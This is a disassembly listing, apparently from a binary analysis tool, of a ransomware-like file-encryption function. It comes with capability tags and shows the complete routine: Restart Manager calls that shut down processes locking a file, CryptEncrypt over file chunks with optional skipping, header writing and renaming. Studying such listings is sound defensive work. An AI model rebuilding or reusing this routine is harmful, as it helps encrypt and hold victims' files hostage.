Function at 0x1400180c0
Capabilities:
Create restart manager session
Encrypt or decrypt via wincrypt
Enumerate processes that use resource
Move file
Read file on windows
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x2f0
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
mov r14, rcx
mov qword [rsp + 0x70], rcx
xor esi, esi
mov rcx, qword [rcx + 0x10]
mov rdx, qword [0x140062e08]
movabs rax, 0x7ffffffffffffffe
sub rax, rcx
cmp rax, rdx
jb 0x140019054
mov r9, r14
cmp qword [r14 + 0x18], 7
jbe 0x140018119
mov r9, qword [r14]
lea rax, [0x140062df8]
cmp qword [0x140062e10], 7
cmova rax, qword [0x140062df8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x160]
call fcn.140008a80
nop
mov rcx, r14
cmp qword [r14 + 0x18], 7
jbe 0x14001815a
mov rcx, qword [r14]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x58], rax
cmp rax, 0xffffffffffffffff
jne 0x140018372
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x1400181a2
mov rdx, qword [r14]
mov r8d, eax
lea rcx, str.____Encrypt__Can_t_open:__s__error:_0x_X_n
call fcn.140001e00
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
je 0x1400181cb
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x21
jne 0x140018f79
mov r15, r14
cmp qword [r14 + 0x18], 7
jbe 0x1400181d8
mov r15, qword [r14]
mov dword [rsp + 0x348], 0xffffffff
mov qword [rsp + 0x108], r15
mov edi, esi
mov dword [rsp + 0x60], esi
mov dword [rsp + 0x64], esi
mov dword [rsp + 0x68], esi
mov rbx, rsi
lea r8, [rsp + 0x260]
xor edx, edx
lea rcx, [rsp + 0x348]
call qword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x14001832a
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rsp + 0x108]
lea edx, [rax + 1]
mov ecx, dword [rsp + 0x348]
call qword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
mov r12, 0xffffffffffffffff
test eax, eax
jne 0x140018331
nop dword [rax]
nop dword [rax + rax]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9, rbx
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x64]
mov ecx, dword [rsp + 0x348]
call qword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
je 0x1400182d0
cmp eax, 0xea
jne 0x14001831b
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x60], eax
test rbx, rbx
je 0x1400182ac
mov rcx, rbx
call fcn.140024d64
mov eax, dword [rsp + 0x60]
mov ecx, eax
mov eax, 0x29c
mul rcx
cmovo rax, r12
mov rcx, rax
call fcn.140024db0
mov rbx, rax
mov eax, edi
inc edi
cmp eax, 3
jb 0x140018260
jmp 0x14001831b
cmp dword [rsp + 0x68], 0
jne 0x14001831b
xor r8d, r8d
xor edx, edx
mov ecx, dword [rsp + 0x348]
call qword [sym.imp.RstrtMgr.DLL_RmShutdown]
test eax, eax
jne 0x14001831b
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x58], rax
test rbx, rbx
je 0x140018331
mov rcx, rbx
call fcn.140024d64
jmp 0x140018331
mov r12, 0xffffffffffffffff
mov ecx, dword [rsp + 0x348]
cmp ecx, 0xffffffff
je 0x140018343
call qword [sym.imp.RstrtMgr.DLL_RmEndSession]
cmp qword [rsp + 0x58], 0xffffffffffffffff
jne 0x140018379
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x14001835e
mov rdx, qword [r14]
mov r8d, eax
lea rcx, str.____Encrypt__Can_t_open_after_unlock:__s__error:_0x_X_n
call fcn.140001e00
jmp 0x140018f79
mov r12, 0xffffffffffffffff
xor dil, dil
mov byte [rsp + 0x340], dil
mov byte [rsp + 0x338], dil
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0x100], rsi
movdqu xmmword [rsp + 0xa8], xmm0
mov qword [rsp + 0xb8], rsi
lea rcx, [0x14006a098]
call sub.KERNEL32.dll_AcquireSRWLockShared
nop
lea rdx, [0x14006a0f0]
lea rcx, [rsp + 0xf0]
call fcn.140015050
lea rdx, [0x14006a108]
lea rcx, [rsp + 0xa8]
call fcn.140015050
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x40], rax
sub rax, qword [rsp + 0xa8]
cmp rax, 0x100
jne 0x14001841d
mov rax, qword [rsp + 0xf8]
sub rax, qword [rsp + 0xf0]
cmp rax, 0x10
jne 0x14001841d
mov bl, 1
jmp 0x14001841f
xor bl, bl
mov byte [rsp + 0x338], bl
jmp 0x14001844b
lea rcx, [0x14006a098]
call sub.KERNEL32.dll_ReleaseSRWLockShared
test bl, bl
je 0x140018ece
lea rdi, [r14 + 0x20]
mov r13, qword [rdi]
cmp dword [0x140062c70], 0
je 0x1400184df
mov rcx, r14
cmp qword [r14 + 0x18], 7
jbe 0x14001847c
mov rcx, qword [r14]
call qword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
mov qword [rsp + 0x48], rax
mov rbx, qword [0x140062d30]
mov r15, qword [0x140062d38]
cmp rbx, r15
je 0x1400184d1
nop word [rax + rax]
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1400184ad
mov rdx, qword [rbx]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140018537
add rbx, 0x20
cmp rbx, r15
mov rax, qword [rsp + 0x48]
jne 0x1400184a0
mov rdi, qword [rsp + 0x70]
add rdi, 0x20
mov eax, dword [0x140062c70]
cmp qword [rdi], rax
jle 0x1400184df
mov r13d, eax
mov r8, qword [0x140062ce8]
mov rax, r8
mov rdx, qword [0x140062ce0]
sub rax, rdx
mov rbx, qword [rsp + 0x40]
sub rbx, qword [rsp + 0xa8]
add rax, 0x14
add rax, rbx
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0xa0], rsi
je 0x140018598
movabs rcx, 0x7fffffffffffffff
cmp rax, rcx
ja 0x14001905a
jmp 0x140018542
mov rdi, qword [rsp + 0x70]
add rdi, 0x20
jmp 0x1400184df
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.140009a50
mov r15, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x48]
add rdi, r15
mov qword [rsp + 0x40], rdi
mov r8, rdi
sub r8, r15
xor edx, edx
mov rcx, r15
call fcn.140047180
mov qword [rsp + 0x98], rdi
mov rdi, qword [rsp + 0x70]
add rdi, 0x20
mov r8, qword [0x140062ce8]
mov rdx, qword [0x140062ce0]
jmp 0x1400185ad
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x40], rax
mov r15, qword [rsp + 0x90]
sub r8, rdx
mov rcx, r15
call fcn.140046ae0
mov rcx, qword [0x140062ce8]
sub rcx, qword [0x140062ce0]
add rcx, r15
mov r8, rbx
mov rdx, qword [rsp + 0xa8]
call fcn.140046ae0
mov rax, qword [0x140062ce8]
sub rax, qword [0x140062ce0]
add rax, rbx
mov qword [rax + r15], r13
mov rcx, qword [0x140062ce8]
sub rcx, qword [0x140062ce0]
add rcx, rbx
mov eax, dword [0x14006a064]
mov dword [rcx + r15 + 8], eax
mov rcx, qword [0x140062ce8]
sub rcx, qword [0x140062ce0]
add rcx, r15
mov eax, dword [0x140062c74]
mov dword [rcx + rbx + 0xc], eax
mov rcx, qword [0x140062ce8]
sub rcx, qword [0x140062ce0]
add rcx, rbx
mov eax, dword [0x14006a06c]
mov dword [rcx + r15 + 0x10], eax
mov qword [rsp + 0x140], rsi
mov qword [rsp + 0x148], rsi
mov qword [rsp + 0x158], rsi
mov eax, dword [rdi]
mov dword [rsp + 0x150], eax
mov eax, dword [r14 + 0x24]
mov dword [rsp + 0x154], eax
mov dword [rsp + 0x50], esi
mov dword [rsp + 0x338], esi
mov rbx, qword [rsp + 0x40]
sub rbx, r15
lea rax, [rsp + 0x140]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
mov r8d, ebx
mov rdx, r15
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140018e0c
mov eax, dword [rsp + 0x50]
cmp rax, rbx
jne 0x140018e0c
mov eax, dword [0x140062c74]
mov rcx, r13
cmp r13, rax
cmovg rcx, rax
mov qword [rsp + 0x40], rcx
cmp rcx, 0x3b9aca00
jle 0x1400186e0
mov ecx, 0x3b9aca00
mov qword [rsp + 0x40], rcx
mov rbx, rsi
cmp dword [0x14006a054], 1
jne 0x140018b64
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x78], xmm0
mov qword [rsp + 0x88], rsi
psrldq xmm0, 8
movq qword [rsp + 0x80], xmm0
nop
cmp rbx, r13
je 0x1400189d5
mov rax, r13
sub rax, rbx
cmp rcx, rax
cmovl rax, rcx
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x118], rcx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x120], rcx
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x128], rcx
mov qword [rsp + 0x238], rax
mov qword [rsp + 0x240], rbx
movups xmm0, xmmword [rsp + 0x118]
movups xmmword [rsp + 0x248], xmm0
movsd xmm1, qword [rsp + 0x128]
movsd qword [rsp + 0x258], xmm1
mov ecx, 0x120
call fcn.140024d6c
mov rdi, rax
mov qword [rsp + 0x200], rax
lea rdx, [rsp + 0x238]
mov rcx, rax
call fcn.1400206e0
nop
lea rax, vtable.std::_Task_async_state_unsigned_long_int_.0
mov qword [rdi], rax
lea r15, [rdi + 0x110]
mov qword [r15], rsi
mov qword [r15 + 8], rsi
lea rax, [rsp + 0x198]
mov qword [rsp + 0x208], rax
call fcn.140016540
mov rcx, qword [rax + 8]
test rcx, rcx
je 0x1400187e7
lock inc dword [rcx + 8]
mov rcx, qword [rax]
mov qword [rsp + 0x130], rcx
mov rax, qword [rax + 8]
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x198], rcx
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], rcx
mov qword [rsp + 0x1b0], rsi
lea rcx, [rsp + 0x1b8]
call fcn.140024034
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x1d8], xmm0
mov qword [rsp + 0x1e8], rsi
mov qword [rsp + 0x1d0], rsi
mov byte [rsp + 0x1c8], 0
mov word [rsp + 0x1f0], 0
lea r8, [rsp + 0x198]
mov rdx, rdi
lea rcx, [rsp + 0x218]
call fcn.1400207d0
cmp r15, rax
je 0x140018881
mov rdx, rax
mov rcx, r15
call fcn.14001e6a0
mov r15, qword [rsp + 0x220]
test r15, r15
je 0x1400188bb
mov eax, r12d
lock xadd dword [r15 + 8], eax
cmp eax, 1
jne 0x1400188bb
mov rax, qword [r15]
mov rcx, r15
call qword [rax]
mov eax, r12d
lock xadd dword [r15 + 0xc], eax
cmp eax, 1
jne 0x1400188bb
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 8]
mov byte [rdi + 0xc2], 1
mov qword [rsp + 0xe0], rdi
mov byte [rsp + 0xe8], 1
lock inc dword [rdi + 8]
mov eax, r12d
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140018907
mov rcx, qword [rdi + 0xc8]
test rcx, rcx
je 0x1400188f9
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax]
jmp 0x140018907
mov rax, qword [rdi]
mov edx, 1
mov rcx, rdi
call qword [rax]
nop
mov rax, qword [rsp + 0x80]
cmp rax, qword [rsp + 0x88]
je 0x140018936
mov rcx, rsi
mov qword [rsp + 0xe0], rcx
mov qword [rax], rdi
mov byte [rax + 8], 1
add qword [rsp + 0x80], 0x10
jmp 0x140018958
lea r8, [rsp + 0xe0]
mov rdx, qword [rsp + 0x80]
lea rcx, [rsp + 0x78]
call fcn.14001f600
mov rcx, qword [rsp + 0xe0]
test rcx, rcx
je 0x140018995
mov eax, r12d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140018995
mov rcx, qword [rsp + 0xe0]
mov r8, qword [rcx + 0xc8]
test r8, r8
je 0x14001898b
mov rax, qword [r8]
mov rdx, rcx
mov rcx, r8
call qword [rax]
jmp 0x140018995
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
add rbx, qword [rsp + 0x48]
mov r15, qword [rsp + 0x90]
cmp dword [0x14006a064], 1
je 0x1400189b5
mov rcx, qword [rsp + 0x40]
jmp 0x140018710
mov rcx, r13
sub rcx, rbx
mov eax, dword [0x14006a06c]
cmp rax, rcx
cmovge rax, rcx
add rbx, rax
mov rcx, qword [rsp + 0x40]
jmp 0x140018710
mov rbx, rsi
mov rcx, rsi
mov qword [rsp + 0x48], rcx
mov rax, qword [rsp + 0x80]
mov rdi, qword [rsp + 0x78]
sub rax, rdi
sar rax, 4
cmp rcx, rax
jae 0x140018aba
mov rax, rcx
shl rax, 4
add rax, rdi
mov rdi, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x228], rdi
mov byte [rsp + 0x230], 1
test rdi, rdi
je 0x140019060
cmp byte [rdi + 0xb8], 0
jne 0x140019060
mov rax, qword [rdi]
mov dl, 1
mov rcx, rdi
call qword [rax + 0x10]
mov r15d, dword [rax]
mov eax, r12d
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140018a71
mov rcx, qword [rdi + 0xc8]
test rcx, rcx
je 0x140018a64
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax]
jmp 0x140018a71
mov rax, qword [rdi]
mov edx, 1
mov rcx, rdi
call qword [rax]
test r15d, r15d
je 0x140018aad
add rbx, r15
cmp dword [0x14006a064], 1
jne 0x140018a98
mov rcx, r13
sub rcx, rbx
mov eax, dword [0x14006a06c]
cmp rax, rcx
cmovge rax, rcx
add rbx, rax
mov rcx, qword [rsp + 0x48]
inc rcx
mov r15, qword [rsp + 0x90]
jmp 0x1400189db
mov r15, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x78]
test rdi, rdi
je 0x140018db4
cmp rdi, qword [rsp + 0x80]
je 0x140018b23
nop dword [rax]
mov rcx, qword [rdi]
test rcx, rcx
je 0x140018b08
mov eax, r12d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140018b08
mov r8, qword [rcx + 0xc8]
test r8, r8
je 0x140018afe
mov rax, qword [r8]
mov rdx, rcx
mov rcx, r8
call qword [rax]
jmp 0x140018b08
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
add rdi, 0x10
cmp rdi, qword [rsp + 0x80]
jne 0x140018ad0
mov r15, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x88]
sub rdx, rdi
and rdx, 0xfffffffffffffff0
mov rax, rdi
cmp rdx, 0x1000
jb 0x140018b57
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001906b
mov rcx, rdi
call fcn.140024d64
jmp 0x140018db4
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x180]
call fcn.140014e60
nop
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x348], rcx
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xc0], xmm0
mov rax, rsi
mov qword [rsp + 0x48], rax
mov qword [rsp + 0xd0], rax
test rcx, rcx
je 0x140018bf9
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x140019071
mov rdx, rcx
lea rcx, [rsp + 0xc0]
call fcn.140009a50
mov r12, qword [rsp + 0xc0]
mov r8, qword [rsp + 0x348]
xor edx, edx
mov rcx, r12
call fcn.140047180
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x48], rax
jmp 0x140018c01
mov r12, qword [rsp + 0xc0]
test r13, r13
je 0x140018d57
movsd xmm6, qword [0x140058090]
movsd xmm7, qword [0x140058098]
nop word [rax + rax]
mov qword [rsp + 0xc0], rsi
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0xd8], rsi
mov dword [rsp + 0xd0], ebx
mov rax, rbx
shr rax, 0x20
mov dword [rsp + 0xd4], eax
mov rdi, r13
sub rdi, rbx
cmp rcx, rdi
cmovl rdi, rcx
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x338]
mov r8d, edi
mov rdx, r12
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140018d57
mov ecx, dword [rsp + 0x338]
cmp rcx, rdi
jne 0x140018d57
xorps xmm0, xmm0
cvtsi2sd xmm0, rcx
mulsd xmm0, xmm6
call fcn.14004695c
mulsd xmm0, xmm7
cvttsd2si rax, xmm0
mov dword [rsp + 0x348], eax
test eax, eax
je 0x140018ced
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x348]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x140018d57
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
mov r8d, dword [rsp + 0x338]
mov rdx, r12
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140018d57
mov eax, dword [rsp + 0x338]
cmp dword [rsp + 0x50], eax
jne 0x140018d57
add rbx, rdi
cmp dword [0x14006a064], 1
jne 0x140018d48
mov rcx, r13
sub rcx, rbx
mov eax, dword [0x14006a06c]
cmp rax, rcx
cmovge rax, rcx
add rbx, rax
cmp rbx, r13
je 0x140018d57
mov rcx, qword [rsp + 0x40]
jmp 0x140018c20
test r12, r12
je 0x140018d96
mov rcx, qword [rsp + 0x48]
sub rcx, r12
mov rax, r12
cmp rcx, 0x1000
jb 0x140018d8a
add rcx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019076
mov rdx, rcx
mov rcx, r12
call fcn.140024d64
nop
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor edx, edx
mov rcx, qword [rsp + 0x180]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
cmp rbx, r13
jne 0x140018ddb
mov rdx, r14
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x18], 7
jbe 0x140018dcb
mov rdx, qword [r14]
lea rcx, str.___Encrypt__Encrypted:__s_n
call fcn.140001e00
mov bl, 1
jmp 0x140018e36
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r14
mov rcx, qword [rsp + 0x70]
cmp qword [rcx + 0x18], 7
jbe 0x140018df3
mov rdx, qword [r14]
mov qword [rsp + 0x20], r13
mov r9, rbx
mov r8d, eax
lea rcx, str.____Encrypt__Not_encrypted:__s__error:_0x_X___lld____lld_n
call fcn.140001e00
jmp 0x140018e2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x140018e1f
mov rdx, qword [r14]
mov r8d, eax
lea rcx, str.____Encrypt__Can_t_write_information:__s__error:_0x_X_n
call fcn.140001e00
movzx ebx, byte [rsp + 0x340]
test r15, r15
je 0x140018e73
mov rdx, qword [rsp + 0xa0]
sub rdx, r15
mov rax, r15
cmp rdx, 0x1000
jb 0x140018e6b
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001907c
mov rcx, r15
call fcn.140024d64
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x140018ef3
lea rdx, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rdx, qword [rsp + 0x160]
mov rcx, r14
cmp qword [r14 + 0x18], 7
jbe 0x140018ea9
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x140018ef3
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x140018ec0
mov rdx, qword [r14]
lea rcx, str.____Encrypt__Not_moved:__s_n
call fcn.140001e00
jmp 0x140018ef3
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x140018edb
mov rdx, qword [r14]
lea rcx, str.____Encrypt__Can_t_run_for:__s_n
call fcn.140001e00
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rsp + 0xa8]
test rcx, rcx
je 0x140018f36
mov rdx, qword [rsp + 0xb8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018f30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019082
call fcn.140024d64
nop
mov rcx, qword [rsp + 0xf0]
test rcx, rcx
je 0x140018f79
mov rdx, qword [rsp + 0x100]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018f73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019088
call fcn.140024d64
nop
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x140018fc2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018fbc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001908e
call fcn.140024d64
nop
jmp 0x140018fce
test r14, r14
je 0x14001902b
mov rdx, qword [r14 + 0x18]
cmp rdx, 7
jbe 0x14001900e
lea rdx, [rdx*2 + 2]
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x140019009
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001904e
mov rcx, r8
call fcn.140024d64
mov qword [r14 + 0x10], rsi
mov qword [r14 + 0x18], 7
mov word [r14], si
mov edx, 0x28
mov rcx, r14
call fcn.140024d64
movaps xmm6, xmmword [rsp + 0x2e0]
movaps xmm7, xmmword [rsp + 0x2d0]
add rsp, 0x2f0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
call fcn.1400360b4
nop
call fcn.1400016e0
nop
call fcn.1400062f0
nop
mov ecx, 4
call fcn.140017a40
nop
call fcn.1400360b4
nop
call fcn.1400062f0
call fcn.1400360b4
nop
call fcn.1400360b4
nop
call fcn.1400360b4
nop
call fcn.1400360b4
nop
call fcn.1400360b4
int3